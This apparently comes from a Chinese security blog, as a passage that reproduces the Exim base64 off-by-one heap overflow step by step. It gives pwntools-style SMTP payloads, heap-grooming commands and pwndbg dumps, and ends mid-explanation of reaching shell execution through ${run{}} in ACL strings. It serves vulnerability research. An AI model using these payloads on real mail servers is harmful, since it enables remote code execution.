1<ol class="linenums"><li class="L0"><code class="lang-sh"><span class="pln">$ cat </span><span class="typ">Local</span><span class="pun">/</span><span class="pln">makefile </span><span class="pun">|</span><span class="pln"> grep </span><span class="pun">-</span><span class="pln">v </span><span class="str">"#"</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">BIN_DIRECTORY</span><span class="pun">=/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">/</span><span class="pln">bin</span></code></li><li class="L2"><code class="lang-sh"><span class="pln">CONFIGURE_FILE</span><span class="pun">=/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">/</span><span class="pln">configure</span></code></li><li class="L3"><code class="lang-sh"><span class="pln">EXIM_USER</span><span class="pun">=</span><span class="pln">ubuntu</span></code></li><li class="L4"><code class="lang-sh"><span class="pln">SPOOL_DIRECTORY</span><span class="pun">=/</span><span class="pln">var</span><span class="pun">/</span><span class="pln">spool</span><span class="pun">/</span><span class="pln">exim</span></code></li><li class="L5"><code class="lang-sh"><span class="pln">ROUTER_ACCEPT</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L6"><code class="lang-sh"><span class="pln">ROUTER_DNSLOOKUP</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L7"><code class="lang-sh"><span class="pln">ROUTER_IPLITERAL</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L8"><code class="lang-sh"><span class="pln">ROUTER_MANUALROUTE</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L9"><code class="lang-sh"><span class="pln">ROUTER_QUERYPROGRAM</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L0"><code class="lang-sh"><span class="pln">ROUTER_REDIRECT</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">TRANSPORT_APPENDFILE</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L2"><code class="lang-sh"><span class="pln">TRANSPORT_AUTOREPLY</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L3"><code class="lang-sh"><span class="pln">TRANSPORT_PIPE</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L4"><code class="lang-sh"><span class="pln">TRANSPORT_SMTP</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L5"><code class="lang-sh"><span class="pln">LOOKUP_DBM</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L6"><code class="lang-sh"><span class="pln">LOOKUP_LSEARCH</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L7"><code class="lang-sh"><span class="pln">LOOKUP_DNSDB</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L8"><code class="lang-sh"><span class="pln">PCRE_CONFIG</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L9"><code class="lang-sh"><span class="pln">FIXED_NEVER_USERS</span><span class="pun">=</span><span class="pln">root</span></code></li><li class="L0"><code class="lang-sh"><span class="pln">AUTH_CRAM_MD5</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">AUTH_PLAINTEXT</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L2"><code class="lang-sh"><span class="pln">AUTH_TLS</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L3"><code class="lang-sh"><span class="pln">HEADERS_CHARSET</span><span class="pun">=</span><span class="str">"ISO-8859-1"</span></code></li><li class="L4"><code class="lang-sh"><span class="pln">SUPPORT_TLS</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L5"><code class="lang-sh"><span class="pln">TLS_LIBS</span><span class="pun">=-</span><span class="pln">lssl </span><span class="pun">-</span><span class="pln">lcrypto</span></code></li><li class="L6"><code class="lang-sh"><span class="pln">SYSLOG_LOG_PID</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L7"><code class="lang-sh"><span class="pln">EXICYCLOG_MAX</span><span class="pun">=</span><span class="lit">10</span></code></li><li class="L8"><code class="lang-sh"><span class="pln">COMPRESS_COMMAND</span><span class="pun">=/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span><span class="pln">gzip</span></code></li><li class="L9"><code class="lang-sh"><span class="pln">COMPRESS_SUFFIX</span><span class="pun">=</span><span class="pln">gz</span></code></li><li class="L0"><code class="lang-sh"><span class="pln">ZCAT_COMMAND</span><span class="pun">=/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span><span class="pln">zcat</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">SYSTEM_ALIASES_FILE</span><span class="pun">=/</span><span class="pln">etc</span><span class="pun">/</span><span class="pln">aliases</span></code></li><li class="L2"><code class="lang-sh"><span class="pln">EXIM_TMPDIR</span><span class="pun">=</span><span class="str">"/tmp"</span></code></li></ol>然后就是编译安装了:
1<ol class="linenums"><li class="L0"><code class="lang-sh"><span class="pln">$ make </span><span class="pun">-</span><span class="pln">j8</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">$ sudo make install</span></code></li></ol>启动也是跟上次一样,但是这里有一个坑点,开启debug,输出所有debug信息,不开debug,这些都堆的布局都会有影响。不过虽然有影响,但是只是影响构造的细节,总体的构造思路还是按照meh写的paper中那样。
本篇的复现,都是基于只输出部分debug信息的模式:
1<ol class="linenums"><li class="L0"><code class="lang-sh"><span class="pln">$ </span><span class="pun">/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span><span class="pln">exim </span><span class="pun">-</span><span class="pln">bdf </span><span class="pun">-</span><span class="pln">dd</span></code></li><li class="L1"><code class="lang-sh"><span class="com"># 输出完整debug信息使用的是-bdf -d+all</span></code></li><li class="L2"><code class="lang-sh"><span class="com"># 不开启debug模式使用的是-bdf</span></code></li></ol>漏洞复现
因为我觉得meh的文章中,漏洞原理和相关函数的说明已经很详细,我也没啥要补充的,所以直接写我的复现过程
STEP 1
首先需要构造一个被释放的chunk,但是没必要像meh文章说的是一个0x6060大小的chunk,只需要满足几个条件:
这个chunk要被分为三个部分,一个部分是通过
store_get
获取,用来存放base64解码的数据,用来造成off by one
漏洞,覆盖下一个chunk的size,因为通过store_get
获取的chunk最小值是0x2000,然后0x10的堆头和0x10的exim自己实现的堆头,所以是一个至少0x2020的堆块。第二部分用来放
sender_host_name
,因为该变量的内存是通过store_malloc
获取的,所以没有大小限制第三部分因为需要构造一个fake chunk用来过free的检查,所以也是一个至少0x2020的堆块
和meh的方法不同,我通过
unrecognized command
来获取一个0x4041的堆块,然后通过EHLO
来释放:1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"\x7f"</span><span class="pun">*</span><span class="lit">4102</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"EHLO %s"</span><span class="pun">%(</span><span class="str">"c"</span><span class="pun">*(</span><span class="lit">0x2010</span><span class="pun">)))</span></code></li><li class="L2"><code class="lang-python"><span class="com"># heap</span></code></li><li class="L3"><code class="lang-python"><span class="lit">0x1d15180</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x4041</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520917b78</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d1b1e0</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L9"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L0"><code class="lang-python"><span class="pun">}</span></code></li><li class="L1"><code class="lang-python"><span class="lit">0x1d191c0</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x4040</span><span class="pun">,</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2020</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L8"><code class="lang-python"><span class="pun">}</span></code></li></ol>0x1d15180是通过
unrecognized command
获取的一个0x4040大小的chunk,在执行完EHLO
命令后被释放, 然后0x1d191c0是inuse的sender_host_name
,这两部分就构成一个0x6060的chunkSTEP 2
现在的情况是
sender_host_name
位于0x6060大小chunk的最底部,而我们需要把它移到中间这部分的思路和meh的一样,首先通过
unrecognized command
占用顶部0x2020的chunk之前的文章分析过,
unrecognized command
申请内存的大小是ss = store_get(length + nonprintcount * 3 + 1);
通过计算,只需要让
length + nonprintcount * 3 + 1 > yield_length
,store_get
函数就会从malloc中申请一个chunk1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"\x7f"</span><span class="pun">*</span><span class="lit">0x800</span><span class="pun">)</span></code></li></ol>这个时候我们就能使用
EHLO
释放之前的sender_host_name
,然后重新设置,让sender_host_name
位于0x6060大小chunk的中部1<ol class="linenums"><li class="L0"><code><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"EHLO %s"</span><span class="pun">%(</span><span class="str">"c"</span><span class="pun">*(</span><span class="lit">0x2000</span><span class="pun">-</span><span class="lit">9</span><span class="pun">)))</span></code></li><li class="L1"><code><span class="com"># heap</span></code></li><li class="L2"><code><span class="lit">0x1d15180</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L3"><code><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2021</span><span class="pun">,</span></code></li><li class="L5"><code><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520917b78</span><span class="pun">,</span></code></li><li class="L6"><code><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d191a0</span><span class="pun">,</span></code></li><li class="L7"><code><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L8"><code><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L9"><code><span class="pun">}</span></code></li><li class="L0"><code><span class="lit">0x1d171a0</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L1"><code><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2020</span><span class="pun">,</span></code></li><li class="L2"><code><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2000</span><span class="pun">,</span></code></li><li class="L3"><code><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L5"><code><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L6"><code><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L7"><code><span class="pun">}</span></code></li><li class="L8"><code><span class="lit">0x1d191a0</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L9"><code><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x63636363636363</span><span class="pun">,</span></code></li><li class="L0"><code><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6061</span><span class="pun">,</span></code></li><li class="L1"><code><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d15180</span><span class="pun">,</span></code></li><li class="L2"><code><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520917b78</span><span class="pun">,</span></code></li><li class="L3"><code><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L5"><code><span class="pun">}</span></code></li><li class="L6"><code><span class="lit">0x1d1f200</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6060</span><span class="pun">,</span></code></li><li class="L8"><code><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2020</span><span class="pun">,</span></code></li><li class="L9"><code><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d27380</span><span class="pun">,</span></code></li><li class="L0"><code><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2008</span><span class="pun">,</span></code></li><li class="L1"><code><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636328</span><span class="pun">,</span></code></li><li class="L2"><code><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L3"><code><span class="pun">}</span></code></li></ol>STEP 3
现在我们的堆布局是:
- 第一块未被使用的0x2020大小的chunk
- 第二块正在被使用0x2000大小的
sender_host_name
- 第三块未被使用,并且和之后堆块合并, 0x6060大小的chunk
我们现在再回过头来想想各个chunk的size的设置的问题
CHUNK 1
第一个chunk是用来触发
off by one
漏洞,用来修改第二个CHUNK的size位,只能溢出1bytestore_get
最小分配一个0x2020的chunk,能储存0x2000的数据这就导致了,如果按照
store_get
的最小情况来,只能溢出覆盖掉第二个chunk的pre_size位然后因为
(0x2008-1)%3==0
,所以我们能通过b64decode函数的漏洞申请一个能储存0x2008的数据,size=0x2020的chunk,然后溢出一个字节到下一个chunk的size位CHUNK2
第二块chunk,我们首先需要考虑,因为只能修改一个字节,所以最大只能从0x00扩展到0xf0
其次,我们假设第二块chunk的原始size=0x2021,然后被修改成0x20f1,我们还需要考虑第二块chunk+0x20f1位置的堆块我们是否可控,因为需要伪造一个fake chunk,来bypass free函数的安全检查。
经过多次调试,发现当第二块chunk的size=0x2001时,更方便后续的利用
CHUNK3
第三个chunk只要求大于一个
store_get
申请的最小size(0x2020)就行了STEP 4
根据第三步叙述的,我们来触发
off by one
漏洞1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">payload1 </span><span class="pun">=</span><span class="pln"> </span><span class="str">"HfHf"</span><span class="pun">*</span><span class="lit">0xaae</span></code></li><li class="L1"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"AUTH CRAM-MD5"</span><span class="pun">)</span></code></li><li class="L2"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="pln">payload1</span><span class="pun">[:-</span><span class="lit">1</span><span class="pun">])</span></code></li><li class="L3"><code class="lang-python"><span class="com"># heap</span></code></li><li class="L4"><code class="lang-python"><span class="lit">0x1d15180</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2021</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d191b0</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2008</span><span class="pun">,</span></code></li><li class="L9"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xf11ddff11ddff11d</span><span class="pun">,</span></code></li><li class="L0"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1ddff11ddff11ddf</span></code></li><li class="L1"><code class="lang-python"><span class="pun">}</span></code></li><li class="L2"><code class="lang-python"><span class="lit">0x1d171a0</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1ddff11ddff11ddf</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f1</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L9"><code class="lang-python"><span class="pun">}</span></code></li><li class="L0"><code class="lang-python"><span class="lit">0x1d19290</span><span class="pln"> PREV_INUSE IS_MMAPED </span><span class="pun">{</span></code></li><li class="L1"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L2"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L7"><code class="lang-python"><span class="pun">}</span></code></li></ol>并且构造在第三块chunk中构造一个fake chunk
1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">payload </span><span class="pun">=</span><span class="pln"> p64</span><span class="pun">(</span><span class="lit">0x20f0</span><span class="pun">)+</span><span class="pln">p64</span><span class="pun">(</span><span class="lit">0x1f31</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"AUTH CRAM-MD5"</span><span class="pun">)</span></code></li><li class="L2"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">((</span><span class="pln">payload</span><span class="pun">*</span><span class="lit">484</span><span class="pun">).</span><span class="pln">encode</span><span class="pun">(</span><span class="str">"base64"</span><span class="pun">).</span><span class="pln">replace</span><span class="pun">(</span><span class="str">"\n"</span><span class="pun">,</span><span class="str">""</span><span class="pun">))</span></code></li><li class="L3"><code class="lang-python"><span class="com"># heap</span></code></li><li class="L4"><code class="lang-python"><span class="lit">0x1d15180</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2021</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d191b0</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2008</span><span class="pun">,</span></code></li><li class="L9"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xf11ddff11ddff11d</span><span class="pun">,</span></code></li><li class="L0"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1ddff11ddff11ddf</span></code></li><li class="L1"><code class="lang-python"><span class="pun">}</span></code></li><li class="L2"><code class="lang-python"><span class="lit">0x1d171a0</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1ddff11ddff11ddf</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f1</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L9"><code class="lang-python"><span class="pun">}</span></code></li><li class="L0"><code class="lang-python"><span class="lit">0x1d19290</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L1"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xf0</span><span class="pun">,</span></code></li><li class="L2"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f31</span><span class="pun">,</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f0</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f31</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f0</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f31</span></code></li><li class="L7"><code class="lang-python"><span class="pun">}</span></code></li><li class="L8"><code class="lang-python"><span class="lit">0x1d1b1c0</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L9"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2020</span><span class="pun">,</span></code></li><li class="L0"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x4041</span><span class="pun">,</span></code></li><li class="L1"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520918288</span><span class="pun">,</span></code></li><li class="L2"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520918288</span><span class="pun">,</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d1b1c0</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d1b1c0</span></code></li><li class="L5"><code class="lang-python"><span class="pun">}</span></code></li></ol>STEP 5
下一步跟meh一样,通过释放
sender_host_name
,把一个原本0x2000的chunk扩展成0x20f0, 但是却不触发smtp_reset
1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"EHLO a+"</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"><span class="com"># heap</span></code></li><li class="L2"><code class="lang-python"><span class="lit">0x1d171a0</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1ddff11ddff11ddf</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f1</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d21240</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520917b78</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L9"><code class="lang-python"><span class="pun">}</span></code></li><li class="L0"><code class="lang-python"><span class="lit">0x1d19290</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L1"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f0</span><span class="pun">,</span></code></li><li class="L2"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f30</span><span class="pun">,</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f0</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f31</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f0</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f31</span></code></li><li class="L7"><code class="lang-python"><span class="pun">}</span></code></li></ol>STEP 6
meh提供了一种不需要泄露地址就能RCE的思路
exim有一个
expand_string
函数,当其处理的参数中有${run{xxxxx}}
,xxxx
则会被当成shell命令执行而
acl_check
函数中会对各个命令的配置进行检查,然后把配置信息的字符串调用expand_string
函数我复现环境的配置信息如下:
1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">pwndbg</span><span class="pun">></span><span class="pln"> x</span><span class="pun">/</span><span class="lit">18gx</span><span class="pln"> </span><span class="pun">&</span><span class="pln">acl_smtp_vrfy</span></code></li><li class="L1"><code class="lang-python"><span class="lit">0x6ed848</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_vrfy</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000000000000</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L2"><code class="lang-python"><span class="lit">0x6ed858</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_rcpt</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000001cedac0</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L3"><code class="lang-python"><span class="lit">0x6ed868</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_predata</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000000000000</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L4"><code class="lang-python"><span class="lit">0x6ed878</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_mailauth</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000000000000</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L5"><code class="lang-python"><span class="lit">0x6ed888</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_helo</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000000000000</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L6"><code 